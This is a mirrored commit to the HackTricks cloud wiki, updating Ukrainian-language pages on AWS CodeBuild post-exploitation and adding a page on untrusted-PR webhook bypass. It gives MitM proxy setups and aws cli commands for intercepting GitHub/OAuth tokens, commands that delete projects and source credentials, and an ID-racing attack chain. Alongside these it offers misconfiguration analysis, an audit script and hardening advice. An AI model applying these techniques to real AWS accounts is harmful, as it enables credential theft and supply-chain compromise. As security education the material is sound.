mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
+27
-19
@@ -4,7 +4,7 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
Для отримання додаткової інформації, перегляньте:
|
||||
For more information, check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
@@ -12,35 +12,35 @@
|
||||
|
||||
### Перевірка секретів
|
||||
|
||||
Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у формі особистих токенів, паролів або доступу через OAuth, ці **облікові дані будуть зберігатися як секрети в менеджері секретів**.\
|
||||
Отже, якщо у вас є доступ для читання менеджера секретів, ви зможете отримати ці секрети та перейти до підключеної платформи.
|
||||
Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у вигляді персональних токенів, паролів або доступу через OAuth, ці **credentials будуть збережені як secrets у secret manager**.\
|
||||
Отже, якщо у вас є доступ для читання secret manager, ви зможете отримати ці secrets і перейти на підключену платформу.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Зловживання доступом до репозиторію CodeBuild
|
||||
### Зловживання доступом CodeBuild до репозиторію
|
||||
|
||||
Щоб налаштувати **CodeBuild**, йому буде потрібен **доступ до репозиторію коду**, який він буде використовувати. Кілька платформ можуть хостити цей код:
|
||||
Щоб налаштувати **CodeBuild**, йому потрібен **доступ до code repo**, який він використовуватиме. Цей код можуть розміщувати різні платформи:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Проект CodeBuild повинен мати доступ** до налаштованого постачальника джерел, або через **IAM роль**, або з токеном github/bitbucket **або доступом через OAuth**.
|
||||
**Проект CodeBuild повинен мати доступ** до налаштованого source provider, або через **IAM role**, або за допомогою github/bitbucket **token або OAuth access**.
|
||||
|
||||
Зловмисник з **підвищеними правами в CodeBuild** може зловживати цим налаштованим доступом, щоб витікати код налаштованого репозиторію та інших, до яких мають доступ встановлені облікові дані.\
|
||||
Для цього зловмиснику потрібно лише **змінити URL репозиторію на кожен репозиторій, до якого мають доступ налаштовані облікові дані** (зверніть увагу, що веб-сайт aws перераховує всі з них для вас):
|
||||
Атакувач з **підвищеними правами над CodeBuild** може зловживати цим доступом, щоб leak код сконфігурованого репозиторію та інших репозиторіїв, до яких мають доступ налаштовані creds.\
|
||||
Щоб це зробити, атакуючому потрібно просто **змінити URL репозиторію на кожен репо, до якого мають доступ конфігураційні credentials** (зверніть увагу, aws web виведе всі для вас):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
І **змінити команди Buildspec для ексфільтрації кожного репозиторію**.
|
||||
І **змінити Buildspec команди для exfiltrate кожного репо**.
|
||||
|
||||
> [!WARNING]
|
||||
> Однак це **завдання є повторюваним і нудним**, і якщо токен github був налаштований з **правами на запис**, зловмисник **не зможе (зловживати) цими правами**, оскільки не має доступу до токена.\
|
||||
> Або має? Перевірте наступний розділ
|
||||
> Однак це **завдання рутинне і нудне**, і якщо github token було налаштовано з **write permissions**, атакуючий **не зможе (ab)use ті права**, оскільки він не має доступу до token.\
|
||||
> Або ж таки зможе? Дивіться наступний розділ
|
||||
|
||||
### Витікання токенів доступу з AWS CodeBuild
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
Ви можете витікати доступ, наданий у CodeBuild, до платформ, таких як Github. Перевірте, чи був наданий доступ до зовнішніх платформ:
|
||||
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### Ненадійне виконання PR через неправильну конфігурацію фільтрів webhook
|
||||
|
||||
Якщо фільтри webhook слабкі, зовнішні атакувальники можуть змусити побудувати їхні PR у привілейованих проектах CodeBuild і потім виконати довільний код у CI.
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
Зловмисник може видалити цілий проект CodeBuild, що призведе до втрати конфігурації проекту та вплине на програми, які покладаються на цей проект.
|
||||
Атакувальник може видалити весь проект CodeBuild, що призведе до втрати конфігурації проекту та вплине на додатки, які залежать від цього проекту.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
**Потенційний вплив**: Втрата конфігурації проекту та порушення роботи для додатків, що використовують видалений проект.
|
||||
**Можливий вплив**: Втрата конфігурації проекту та порушення роботи сервісу для додатків, які використовують видалений проект.
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів.
|
||||
Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, що порушує розподіл витрат у вашій організації, відстеження ресурсів та політики контролю доступу, що базуються на тегах.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
|
||||
**Потенційний вплив**: Перебої у розподілі витрат, відстеженні ресурсів та політиках контролю доступу на основі тегів.
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
Зловмисник може видалити облікові дані джерела для репозиторію Git, що вплине на нормальне функціонування додатків, які покладаються на репозиторій.
|
||||
Атакуючий може видалити облікові дані джерела для Git-репозиторію, що вплине на нормальну роботу застосунків, які залежать від цього репозиторію.
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
**Потенційний вплив**: Порушення нормального функціонування для додатків, що залежать від ураженого репозиторію, через видалення облікових даних джерела.
|
||||
**Потенційний вплив**: Порушення нормальної роботи додатків, що залежать від постраждалого репозиторію через видалення облікових даних джерела.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-41
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Відновлення налаштованих Github/Bitbucket Tokens
|
||||
## Відновлення Github/Bitbucket налаштованих Tokens
|
||||
|
||||
Спочатку перевірте, чи є налаштовані source credentials, які ви могли б leak:
|
||||
Спочатку перевірте, чи є які-небудь налаштовані source credentials, які ви могли б leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
### Через Docker Image
|
||||
|
||||
Якщо ви виявите, що аутентифікація, наприклад до Github, налаштована в акаунті, ви можете **exfiltrate** той **доступ** (**GH token or OAuth token**), змусивши Codebuild **use an specific docker image** для запуску збірки проєкту.
|
||||
Якщо ви виявите, що в акаунті налаштована автентифікація, наприклад до Github, ви можете **exfiltrate** цей **access** (**GH token або OAuth token**), змусивши Codebuild **use an specific docker image** для запуску збірки проекту.
|
||||
|
||||
Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого, щоб встановити **Docker image**.
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановлює **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановить **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** і **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Дотримуйтесь інструкцій репо, щоб вказати IP-адресу проксі, встановити ваш SSL cert та **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** щоби не перехоплювати запити до metadata endpoint.
|
||||
- Дотримуйтесь інструкцій репозиторію, щоб вказати IP-адресу проксі та SSL сертифікат і **збудувати Docker image**.
|
||||
- **DO NOT SET `http_proxy`** щоб не перехоплювати запити до metadata endpoint.
|
||||
- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб встановити проксі на ваш хост
|
||||
- Після того, як Docker image збудовано, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
- Після того як ви збудуєте Docker image, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Create a **new Codebuild project** або **modify** environment існуючого проєкту.
|
||||
- Set the project to use the **previously generated Docker image**
|
||||
- Створіть **new Codebuild project** або змініть **environment** існуючого.
|
||||
- Встановіть у проекті використання **previously generated Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
3. **Встановіть MitM proxy на вашому хості**
|
||||
|
||||
- Як вказано в **Github repo** ви можете використати щось на кшталт:
|
||||
- Як вказано в **Github repo**, ви можете використати щось на кшталт:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Використовувалась версія **mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
|
||||
> Використана версія **mitmproxy — 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
|
||||
|
||||
4. **Запустіть збірку та перехопіть облікові дані**
|
||||
4. **Запустіть build та перехопіть credentials**
|
||||
|
||||
- Ви можете побачити token у заголовку **Authorization**:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Це також можна зробити з aws cli за допомогою команди на кшталт
|
||||
Це також можна зробити через aws cli за допомогою команди на кшталт
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -74,14 +74,14 @@ aws codebuild start-build --project-name my-project2
|
||||
### Через insecureSSL
|
||||
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який пропонує платформа.
|
||||
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який надає платформа.
|
||||
|
||||
- Спочатку потрібно перелічити поточну конфігурацію за допомогою чогось на кшталт:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Потім, використовуючи зібрану інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Нижче наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
|
||||
- Крім того, додайте також змінні оточення **http_proxy** та **https_proxy**, що вказують на ваш tcp ngrok, наприклад:
|
||||
- Потім, маючи зібрану інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
|
||||
- Крім того, додайте також змінні оточення **http_proxy** та **https_proxy**, які вказують на ваш tcp ngrok, наприклад:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
|
||||
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному в proxy variables (http_proxy and https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Нарешті, натисніть на **Build the project**, **credentials** будуть **відправлені у відкритому вигляді** (base64) на mitm-порт:
|
||||
- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **відправлені у відкритому тексті** (base64) на порт mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Через HTTP-протокол~~
|
||||
### ~~Через протокол HTTP~~
|
||||
|
||||
> [!TIP] > **Цю вразливість AWS виправили приблизно на тижні 20 лютого 2023 року (як гадаю, у п'ятницю). Тому нападник більше не може її зловживати :)**
|
||||
> [!TIP] > **Ця вразливість була виправлена AWS десь на тижні, що починався 20 лютого 2023 року (мабуть у п’ятницю). Тож атакувати її вже не можна :)**
|
||||
|
||||
Зловмисник з **підвищеними правами в CodeBuild** міг leak налаштований токен Github/Bitbucket або, якщо права були налаштовані через OAuth, — **тимчасовий OAuth токен, що використовується для доступу до коду**.
|
||||
Зловмисник з **підвищеними правами в CodeBuild може leak налаштований Github/Bitbucket token**, або якщо права були налаштовані через OAuth, **тимчасовий OAuth token, який використовується для доступу до коду**.
|
||||
|
||||
- Зловмисник може додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказавши на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Зловмисник може додати змінні середовища **http_proxy** і **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Далі запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
|
||||
- Після цього запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -162,28 +162,19 @@ mitm.run()
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Нарешті, **облікові дані** будуть **відправлені у відкритому вигляді** (base64) на mitm port:
|
||||
- Нарешті, **облікові дані** будуть **відправлені у відкритому вигляді** (base64) на порт mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Тепер атакуючий зможе використовувати токен зі своєї машини, переглянути всі його привілеї та легше зловживати ними, ніж при прямому використанні сервісу CodeBuild.
|
||||
> Тепер attacker зможе використати token зі своєї машини, переглянути всі привілеї, які він має, і (ab)use легше, ніж безпосередньо використовуючи сервіс CodeBuild.
|
||||
|
||||
## Фільтр webhook — обхід allowlist для ACTOR_ID regex (PR-triggered privileged builds)
|
||||
## Виконання неперевіреного PR через неправильну конфігурацію фільтра webhook
|
||||
|
||||
Неправильно налаштовані CodeBuild GitHub webhooks, які використовують незакріплені `ACTOR_ID` regexes, дозволяють *ненадійним* PR запускати привілейовані збірки. Якщо allowlist має вигляд `123456|7890123` без `^`/`$`, будь-який ID, що містить одну з цих підрядків, співпаде. Оскільки GitHub user IDs є послідовними, атакуючий може змагатися за реєстрацію «eclipsing» ID (суперстрока довіреного ID) і ініціювати збірку.
|
||||
Для PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), перевірте:
|
||||
|
||||
**Шлях експлуатації**
|
||||
|
||||
1. Знайти публічні CodeBuild проекти з оприлюдненими webhook-фільтрами та витягти незакріплений `ACTOR_ID` allowlist.
|
||||
2. Отримати eclipsing GitHub ID:
|
||||
- Пробувати значення глобального лічильника ID, створюючи/видаляючи GitHub orgs (org IDs ділять загальний пул).
|
||||
- Попередньо ініціюйте багато створень GitHub App manifest і активуйте confirmation URLs, коли лічильник буде приблизно в ~100 IDs від цілі, щоб швидко зареєструвати bot ID, який містить довірений підрядок.
|
||||
3. Відкрийте PR з eclipsing акаунта; regex співпаде з підрядком і запуститься привілейована збірка.
|
||||
4. Використати build RCE (наприклад, hooks при встановленні залежностей) для дампу пам'яті процесу, який обробляє облікові дані GitHub, і відновити PAT/OAuth token.
|
||||
5. Маючи token зі scope `repo`, запросіть свій акаунт як collaborator/admin і push/approve шкідливі коміти або ексфільтруйте секрети.
|
||||
|
||||
## Посилання
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+235
@@ -0,0 +1,235 @@
|
||||
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Цей вектор атаки виникає, коли **публічний PR workflow** підключено до **привілейованого проекту CodeBuild** з ненадійними контролями webhook.
|
||||
|
||||
Якщо зовнішній атакуючий може змусити CodeBuild виконати їхній pull request, зазвичай це дає змогу отримати **довільне виконання коду всередині build** (скрипти збірки, hooks залежностей, тестові скрипти тощо), а далі перескочити на секрети, IAM credentials або credentials провайдера репозиторію.
|
||||
|
||||
## Чому це небезпечно
|
||||
|
||||
Фільтри webhook у CodeBuild оцінюються за допомогою regex-патернів (для фільтрів, що не `EVENT`). У фільтрі `ACTOR_ACCOUNT_ID` це означає, що слабкий патерн може співпадати з більшою кількістю користувачів, ніж передбачалося.
|
||||
Якщо в проекті будуються ненадійні PR і цей проект має привілеї AWS role або credentials GitHub, це може перетворитися на повний compromise ланцюжка постачання.
|
||||
|
||||
Wiz продемонструвала практичний ланцюжок, де:
|
||||
|
||||
1. У allowlist для actor webhook використовувався **унанкорований regex**.
|
||||
2. Атакуючий зареєстрував GitHub ID, який співпадав як **superstring** довіреного ID.
|
||||
3. Зловмисний PR тригернув CodeBuild.
|
||||
4. Виконання коду в build використали для дампу пам’яті та відновлення credentials/tokens провайдера сорсу.
|
||||
|
||||
## Misconfigurations that allow external PR code execution
|
||||
|
||||
Нижче наведені високоризикові помилки конфігурації та як їх зловживають:
|
||||
|
||||
1. **`EVENT` filters allow untrusted triggers**
|
||||
- Поширені ризиковані events: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
|
||||
- Інші events, які теж можуть стати небезпечними, якщо прив’язані до привілейованих збірок: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
|
||||
- Bad: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` в привілейованому проекті.
|
||||
- Better: використовувати approval через PR comment і мінімізувати trigger events для привілейованих проектів.
|
||||
- Abuse: атакуючий відкриває/оновлює PR або пушить у гілку під своїм контролем, і їхній код виконується в CodeBuild.
|
||||
|
||||
2. **`ACTOR_ACCOUNT_ID` regex is weak**
|
||||
- Bad: неанкоровані патерни типу `123456|7890123`.
|
||||
- Better: точне анкорування, наприклад `^(123456|7890123)$`.
|
||||
- Abuse: regex over-match дозволяє неавторизованим GitHub ID проходити allowlist.
|
||||
|
||||
3. **Other regex filters are weak or missing**
|
||||
- `HEAD_REF`
|
||||
- Bad: `refs/heads/.*`
|
||||
- Better: `^refs/heads/main$` (або явний список trusted гілок)
|
||||
- `BASE_REF`
|
||||
- Bad: `.*`
|
||||
- Better: `^refs/heads/main$`
|
||||
- `FILE_PATH`
|
||||
- Bad: відсутні обмеження по шляху
|
||||
- Better: виключати ризикові файли, наприклад `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
|
||||
- `COMMIT_MESSAGE`
|
||||
- Bad: довіряти маркеру з вільним матчем на кшталт `trusted`
|
||||
- Better: не використовувати commit message як межу довіри для виконання PR
|
||||
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
|
||||
- Bad: `.*` в org/global webhooks
|
||||
- Better: лише точні збіги для repo/org
|
||||
- `WORKFLOW_NAME`
|
||||
- Bad: `.*`
|
||||
- Better: лише точні збіги по імені workflow (або уникати цього як механізму довіри)
|
||||
- Abuse: атакуючий формує ref/path/message/repo контекст, який задовольняє дозволяючі regex і тригерить збірки.
|
||||
|
||||
4. **`excludeMatchedPattern` is misused**
|
||||
- Неправильне встановлення цього прапора може інвертувати бажану логіку.
|
||||
- Bad: `FILE_PATH '^buildspec\\.yml$'` з `excludeMatchedPattern=false`, коли намір був блокувати редагування buildspec.
|
||||
- Better: той самий патерн з `excludeMatchedPattern=true` щоб заборонити збірки, що торкаються `buildspec.yml`.
|
||||
- Abuse: захисники думають, що вони забороняють ризикові події/шляхи/акторів, але насправді дозволяють їх.
|
||||
|
||||
5. **Multiple `filterGroups` create accidental bypasses**
|
||||
- CodeBuild оцінює групи як OR (достатньо однієї успішної групи).
|
||||
- Bad: одна сувора група + одна лояльна fallback-група (наприклад, тільки `EVENT=PULL_REQUEST_UPDATED`).
|
||||
- Better: прибрати fallback-групи, які не примушують обмеження по actor/ref/path.
|
||||
- Abuse: атакуючому потрібно задовольнити лише найслабшу групу.
|
||||
|
||||
6. **Comment approval gate disabled or too permissive**
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` найменш безпечний.
|
||||
- Надто широкі ролі approver-ів зменшують контроль.
|
||||
- Bad: `requiresCommentApproval=DISABLED`.
|
||||
- Better: `ALL_PULL_REQUESTS` або `FORK_PULL_REQUESTS` з мінімальними ролями approver-ів.
|
||||
- Abuse: fork/drive-by PR-и запускаються автоматично без схвалення trusted maintainers.
|
||||
|
||||
7. **No restrictive branch/path strategy for PR builds**
|
||||
- Відсутність defense-in-depth з `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
|
||||
- Bad: тільки `EVENT` + `ACTOR_ACCOUNT_ID`, без контролю ref/path.
|
||||
- Better: комбінувати точні `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` обмеження.
|
||||
- Abuse: атакуючий змінює вхідні дані збірки (buildspec/CI/залежності) і отримує довільне виконання команд.
|
||||
|
||||
8. **Public visibility + status URL exposure**
|
||||
- Публічні build/check URL полегшують reconnaissance і ітеративне тестування для атакуючого.
|
||||
- Bad: `projectVisibility=PUBLIC_READ` з чутливими логами/конфігурацією у публічних збірках.
|
||||
- Better: тримати проекти приватними, якщо немає вагомої бізнес-потреби, і санітизувати логи/артефакти.
|
||||
- Abuse: атакуючий виявляє патерни/поведінку проекту, після чого підлаштовує payload-и та спроби обходу.
|
||||
|
||||
## Token leakage from memory
|
||||
|
||||
У write-up від Wiz пояснюється, що credentials провайдера сорсу присутні в build runtime context і їх можна вкрасти після compromise збірки (наприклад, через дамп пам’яті), що дозволяє takeover репозиторія, якщо scope-и надто широкі.
|
||||
|
||||
AWS впровадила жорсткіші заходи після розкриття, але головний урок залишається: **ніколи не виконувати код з ненадійних PR у привілейованих build-контекстах** і припускати, що код під контролем атакуючого спробує викрасти credentials.
|
||||
|
||||
Для додаткових технік викрадення credentials у CodeBuild також перевірте:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding CodeBuild URLs in GitHub PRs
|
||||
|
||||
Якщо CodeBuild повертає статус коміту в GitHub, URL збірки CodeBuild зазвичай видно в:
|
||||
|
||||
1. **PR page** -> **Checks** tab (або рядок статусу в Conversation/Commits).
|
||||
2. **Commit page** -> секція status/checks -> **Details** link.
|
||||
3. **PR commits list** -> клікнути по check context, прив’язаному до коміту.
|
||||
|
||||
Для публічних проектів це посилання може виставляти metadata/config збірки для неавторизованих користувачів.
|
||||
|
||||
<details>
|
||||
<summary>Скрипт: виявити CodeBuild URL-и в PR і перевірити, чи виглядають вони публічними</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Usage:
|
||||
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
|
||||
#
|
||||
# Requirements: gh, jq, curl
|
||||
|
||||
OWNER="${1:?owner}"
|
||||
REPO="${2:?repo}"
|
||||
PR="${3:?pr_number}"
|
||||
|
||||
for bin in gh jq curl timeout; do
|
||||
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
|
||||
done
|
||||
|
||||
tmp_commits="$(mktemp)"
|
||||
tmp_urls="$(mktemp)"
|
||||
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
|
||||
|
||||
gh_api() {
|
||||
timeout 20s gh api "$@" 2>/dev/null || true
|
||||
}
|
||||
|
||||
# Get all commit SHAs in the PR (bounded call to avoid hangs)
|
||||
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
|
||||
if [ ! -s "$tmp_commits" ]; then
|
||||
echo "[!] No commits found (or API call timed out/failed)." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] PR commits:"
|
||||
cat "$tmp_commits"
|
||||
echo
|
||||
|
||||
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
|
||||
|
||||
while IFS= read -r sha; do
|
||||
[ -z "$sha" ] && continue
|
||||
|
||||
# Classic commit statuses (target_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
|
||||
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
|
||||
|
||||
# GitHub Checks API (details_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
|
||||
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
|
||||
done < "$tmp_commits" | sort -u > "$tmp_urls"
|
||||
|
||||
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
|
||||
|
||||
echo
|
||||
echo "[*] Public-access heuristic:"
|
||||
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
|
||||
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
|
||||
echo
|
||||
|
||||
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
|
||||
if [ -z "$cb_urls" ]; then
|
||||
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
|
||||
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
|
||||
|
||||
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
|
||||
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
|
||||
elif [ "$code" = "200" ]; then
|
||||
verdict="POTENTIALLY_PUBLIC"
|
||||
else
|
||||
verdict="UNKNOWN_CHECK_MANUALLY"
|
||||
fi
|
||||
|
||||
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
|
||||
done <<< "$cb_urls"
|
||||
```
|
||||
Перевірено на сумісність з:
|
||||
```bash
|
||||
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
|
||||
```
|
||||
</details>
|
||||
|
||||
## Швидкий чекліст аудиту
|
||||
```bash
|
||||
# Enumerate projects
|
||||
aws codebuild list-projects
|
||||
|
||||
# Inspect source/webhook configuration
|
||||
aws codebuild batch-get-projects --names <project-name>
|
||||
|
||||
# Inspect global source credentials configured in account
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
Перевірте кожен проект на:
|
||||
|
||||
- `webhook.filterGroups`, що містять події PR.
|
||||
- `ACTOR_ACCOUNT_ID` шаблони, які не заякорені за допомогою `^...$`.
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval`, рівне `DISABLED`.
|
||||
- Відсутні обмеження гілок/шляхів.
|
||||
- Високопривілейований `serviceRole`.
|
||||
- Ризиковий обсяг прав та повторне використання облікових даних джерела.
|
||||
|
||||
## Рекомендації щодо підвищення захисту
|
||||
|
||||
1. Вимагати підтвердження коментарем для PR builds (`ALL_PULL_REQUESTS` або `FORK_PULL_REQUESTS`).
|
||||
2. Якщо використовуєте actor allowlists, заякорюйте regex-и і робіть їх точними.
|
||||
3. Додайте обмеження `FILE_PATH`, щоб уникнути небезпечних змін у `buildspec.yml` та CI scripts.
|
||||
4. Відокремте довірені release builds від недовірених PR builds у різні проекти/ролі.
|
||||
